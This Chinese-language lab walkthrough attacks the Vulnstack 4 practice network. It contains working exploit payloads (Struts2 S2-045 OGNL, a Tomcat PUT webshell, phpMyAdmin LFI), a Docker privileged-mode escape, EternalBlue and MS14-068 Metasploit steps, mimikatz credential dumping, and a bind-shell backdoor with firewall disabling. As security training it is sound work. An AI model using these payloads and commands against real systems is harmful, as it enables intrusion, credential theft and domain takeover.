环境搭建

机器密码

  • web(Ubuntu):ubuntu:ubuntu
  • 域成员账号:douser:Dotest123
  • 域管账号:administrator:Test2022

这里域管密码我改了,因为原来的密码过期了,后面mimikatz抓不到密码

需要添加一张192.168.183.0/24网段的内网网卡

image-20220716114734710

若是kali用的Nat模式这里不要勾选“将主机虚拟适配器连接到此网络”,若是桥接模式则勾选

ubuntu这台web服务器利用docker开启web服务

1
2
3
4
5
6
7
8
9
10
# 启动docke容器
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

# 查看运行的docker容器
sudo docker ps -a

win7总是自动挂起

进入控制面板 → 硬件和声音 → 更改计算机休眠时间 (改为从不休眠)

拓扑图

image-20220719110838382

打靶

老样子先用nmap对192.168.184.0/24网段进行端口扫描nmap -sV 192.168.184.0/24

在192.168.184.139这台主机发现三个web服务

image-20220716164723466

接下来来对这三个服务一次访问并通过这三个web服务不同路径获取该外网主机权限

外网打点

S2-045

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# EXP抓上传的包,修改Content-Type的值
POST / HTTP/1.1
Host: 192.168.184.139:2001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
Content-Length: 0
Origin: http://192.168.184.139:2001
Connection: close
Referer: http://192.168.184.139:2001/doUpload.action
Cookie: JSESSIONID=1d6q15kddtb1z136edkhjwibnl; phpMyAdmin=4faf82614b1631c025eb550defea0d14; pma_lang=zh_CN
Upgrade-Insecure-Requests: 1

image-20220716172351451

原理

留坑

tomcat PUT上传(CVE-2017-12615)

1
2
3
4
5
6
7
8
9
10
11
# EXP
PUT /tomcat.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 572

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*åÆ¥:Þ¥Æ32Mmd5M16M ؤޥÆrebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

image-20220716173303485

原理

留坑

phpmyadmin文件包含(CVE-2018-12613)

1
2
# POC
http://192.168.184.139:2003//index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

image-20220716205700320

1
2
3
4
5
# EXP
# 在http://192.168.184.139:2003/server_sql.php页面写入SELECT "<?=system('whoami');?>"
# 会保存到/tmp/sess_[Cookie中phpMyadmin的值]
# Payload如下
http://192.168.184.139:2003/index.php?target=db_sql.php%253f/../../../../../../../tmp/sess_2b513185c9f040cae084bc2d6b5f79a9

image-20220716210209265

上面勉强用system()函数命令执行成功,但我还是想让蚁剑能连上,于是有了接下来的一番折腾

由于我最开始尝试直接传<?php eval($_POST[cmd]);?>,但并没有成功连上蚁剑,怀疑可能是被杀了吧

接着尝试<?php assert($_POST[cmd]);?>,这回直接报错

image-20220717122731632

在查了网上资料后结论是,PHP7.0及之前的版本都可以执行,但是之后的版本就不允许在assert()函数中传入可变字符串

但我看到一篇文章记一次Vulnstack靶场内网渗透(二) - FreeBuf网络安全行业门户,这个作者就是用的assert成功连上蚁剑的,他用的免杀马如下

1
<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['whoami']));?>

我就纳闷他是怎么成功的,表示很不理解,现在只能把锅甩给docker环境有问题了

并且我还在本地测了一下,用它的马我也没成功,但是改了一下把base64_decode删了,在蚁剑编码器选择base64就能连,我就觉得更加玄学了,并且我用我改的去测靶机还是没有成功,要哭辣

这是这位作者的免杀给了我思路,之前eval没有成功,我能不能也像他一样做点混淆来绕过被杀

然而尝试过后并不可行,原因是eval()并不是函数,它是一个语言构造器,不能被可变函数调用,所以打咩

而且我还查到,assert() is a language construct in PHP 7,大写的一个G

在本地测试总结下来就是:eval()不能用可变函数调用,php7.1之后assert()也不能用可变函数调用,并且assert()7.1之后也不能用作一句话,但实际情况还是测一下万一能用

但这里还有一个奇怪的点,记录一下

我在本地测试的时候,用的是PHP7.3.9,虽然直接使用assert(),会报不能用可变字符串的错但是能连上蚁剑(蚁剑编码器勾选base64)

image-20220717125228664

而且在浏览器上测都不用base64就能执行

image-20220717125331910

可以看到有报错,但是能执行太怪了,我已经晕了

原理

https://www.freebuf.com/articles/web/278808.html

这里有个疑问,上面链接的文章中说php会将前面的db_sql.php?当成目录,但我在本地测并没有成功,不知原因

逃逸docker容器–privileged特权模式

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

这里查看docker启动的配置文件.yml发现只有tomcat这个容器是特权模式启动起来的

image-20220717165347989

其实通过看ls /dev也可以看出端倪,明显特权模式的设备更多

image-20220717165258051

image-20220717165143713

image-20220717164420846

所以接下来的操作都是基于tomcat这个docker容器完成

姿势1:添加用户–来自白日梦组长

通过修改/etc/passwd和/etc/shadow文件

/dev/sd[a-z]:SCSI设备

在根目录下创建一个目录名为hacker的文件夹,并将/dev/sda1挂载到该目录下,这是/hacker相当于就是物理主机的根目录了

1
2
mkdir /hacker
mount /dev/sda1 /hacker

image-20220717172258614

(插一句,这里提权不能直接添加root用户,因为root用户没有远程登录权限,我们现在只是有对文件操作的权限,并不能重启ssh服务来修改配置,所以下面添加的是一个普通用户)

PermitRootLogin 配置项都有哪些配置参数?

  • yes
  • no
  • without-password:root可以登录,但是不允许通过密码ssh登陆
  • forced-commands-only:可以登录,但是登陆后不能进入交互,而是执行指定的命令后自动退出

image-20220717223312448

1
2
3
4
5
6
7
8
9
10
# 先在kali里创一个普通用户
useradd -m hack
passwd hack

# 利用上面创建的用户信息修改目标/etc/passwd和/etc/shadow
echo 'hack:x:1002:1002::/home/hack:/bin/sh' >> /hacker/etc/passwd
echo 'hack:$6$sZJ3nupD0kfMhAN5$rQ36pINAUIDIE7HCvbWOBLhdtDL5M7D5dw2Af5saRzTbI0PHFBlc2DyDjQPH1880gpDr4VrHh526hxigF5Ksk.:19190:0:99999:7:::' >> /hacker/etc/shadow

# 在kali中ssh登录该用户
ssh hack@192.168.184.139

image-20220717180458569

这里还只是普通用户权限

直接使用sudo su root进行提权会提示用户不在sudoers file中

image-20220717181515687

我们可以回到tomcat的shell里去手动添加

image-20220717181841154

再次执行sudo su root,提权成功

image-20220717181946938

这里觉得白日梦组长的姿势太帅了,学到了很多

姿势2:ssh密钥利用

前提:目标已经开启ssh密钥登陆功能,因为虽然我们能修改/etc/ssh/sshd_config

1
2
RSAAuthentication yes
PubkeyAuthentication yes

但是没有权限重启ssh服务

挂载就不赘述了,同姿势1

这里查看配置文件/etc/ssh/sshd_config,开启密钥登陆,故可行

image-20220717223100634

  1. 制作密钥对

    首先在kali上制作密钥对。首先用密码登录到你打算使用密钥登录的账户,然后执行以下命令:

    1
    ssh-keygen

    image-20220717224512053

  2. 在目标上安装公钥

    首先利用冰蝎将生成的公钥id_rsa.pub上传到目标/hacker/home/ubuntu/.ssh/目录,然后执行如下命令

    1
    cat id_rsa.pub >> authorized_keys

    这里还需要对一些权限进行修改

    1
    2
    chmod 600 authorized_keys
    chmod 700 /hacker/home/ubuntu/.ssh
  3. ssh密钥登录

    1
    ssh -i /root/.ssh/id_rsa ubuntu@192.168.184.139

    但是不知道为什么我试了好多次都没有成功,我甚至重新把这个ubuntu装了一遍还是不行,离谱

攻入内网

前面已经拿下了Ubuntu这台服务器,查看网卡信息

image-20220718113156078

看到有192.168.183.0/24内网网段

利用scp将fscan传到Ubuntu上,利用fscan对内网进行漏洞探针

1
2
3
4
5
6
7
# kali
scp /fscan hack@192.168.184.139:/tmp
## 密码:123456777

# Ubuntu
chmod +x /tmp/fscan
/tmp/fscan -h 192.168.183.0/24

fscan扫描结果如下

image-20220718115340547

192.168.183.132这台windows7存在永恒之蓝,直接利用msf开打

因为是内网主机,所以这里需要我们正向去打

首先利用ssh在kali本地的1080端口开启一个动态代理

1
2
ssh -CfNg -D 1080 hack@192.168.184.139
# 密码:123456777

image-20220718115523769

之后利用msf去打,这里有两点要注意,一是要设置正向payload,二是要设置一个全局变量proxies

1
2
3
4
5
6
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp # 正向连接的payload
set rhost 192.168.183.132
setg proxies socks5:127.0.0.1:1080 # setg是设置全局变量的意思,这里设置代理才能访问到内网主机
run

获取到win7的shell,并且获取到system权限

image-20220718120048139

这里拿到shell去翻桌面看看时,发现有MS14-068.exe,靶场作者已经明示让我用这个洞去打与空了

image-20220718120749389

这里其实还可以通过systeminfo命令看打了哪些补丁来看存在什么漏洞

好,明确了目标,用MS14-068来打域控,这时还差域用户名,域名,域用户sid,域控地址以及密码

image-20220718121846579

1
2
3
4
# 这里域用户名,域名,域控地址都可以很快得到
域用户名:douser
域名:demo.com
域控地址:192.168.183.130

要获得sid需要切换到域用户权限,获得密码要借助mimikatz(靶机上本来就有一个)

1
2
3
# 没切换用户前,当前为system,看不到域用户的sid
whoami /all
wmic useraccount get name,sid

image-20220718123117476

image-20220718123126631

这里就需要窃取域用户的令牌,降权到域用户身份,才能读到域用户sid

1
2
3
# msf的meterpreter
ps
steal_token 2552

image-20220718123340564

image-20220718123502861

得到demo\douser用户的sidS-1-5-21-979886063-1111900045-1414766810-1107

然后我们在meterpreter处使用命令rev2self移除令牌,回到system权限,用mimikatz读取密码

此处有个坑,我用ms17_010获得的system权限在运行mimikatz的时候回报错:

image-20220718124306186

查找网上wp说模拟一个目标机上的system的令牌就可以,但我也没有成功

1
2
load Incognito
impersonate_token "NT AUTHORITY\SYSTEM"

最后看白日梦组长的视频,使用msf中meterpreter的kiwi模块

1
2
load kiwi
creds_all

image-20220718124936180

得到douser的密码Dotest123

接下来就利用MS14-068来生成票据

1
ms14-068 -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

image-20220718125446698

然后利用mimikatz的kerberos::ptc进行票据传递

1
2
mimikatz
kerberos::ptc TGT_douser@demo.com.ccache

image-20220718125636062

然后就拿下域控了

1
2
# 注意这里必须用主机名称才能访问,用ip不得行
dir \\WIN-ENS2VR5TR3N\c$

image-20220718125946996

进一步攻击域控获取域控密码等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# win7
## 用net use和域控建立连接
net use \\WIN-ENS2VR5TR3N

# kali
## kali创建正向连接木马(默认开启4444监听)
msfvenom -p windows/meterpreter/bind_tcp -f exe -o bind.exe

## 利用msf的meterpreter的upload将bind.exe上传到win7
upload /bind.exe c:\\users\\douser\\desktop\\bind.exe

## msf开启监听(另外启一个)
set payload windows/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 4444
setg proxies socks5:127.0.0.1:1080
set AutoRunScript post/windows/manage/migrate # 自动迁移进程

#win7
## 然后通过win7将bind.exe传到域控上(WIN-ENS2VR5TR3N)
copy c:\Users\douser\Desktop\bind.exe \\WIN-ENS2VR5TR3N\c$

## 通过远程在域控上面设置好计划任务(但是提示Access is denied)
schtasks /create /tn "test" /tr C:\windows\system32\bind.exe /sc MINUTE /S 192.168.183.130

## 我们用sc服务来远程执行,先关闭防火墙
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

## 创建服务执行msf马
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell

image-20220718144354407

运行完木马后msf收到shell

image-20220718144727846

接下来抓取密码

通过meterpreter的upload将mimikatz传上去

1
2
3
4
5
upload /mimikatz.exe c:\mimikatz.exe
cd c:\
mimikatz
privilege::debug
sekurlsa::logonpasswords

image-20220718150112535

得到明文密码:Test2022

有了明文密码,接下来登录远程桌面

1
2
# 利用meterpreter把远程桌面开启
run post/windows/manage/enable_rdp

image-20220718150403954

然后上代理远程登陆

1
proxychains4 rdesktop 192.168.183.130

image-20220718150657246

到此结束

参考

[网络安全/域渗透]内网安全入门靶场 vulnstack4攻略

记一次Vulnstack靶场内网渗透(二)

一句话木马踩坑记

Linux /etc/passwd内容解释

Linux /etc/shadow(影子文件)内容解析

设置 SSH 通过密钥登录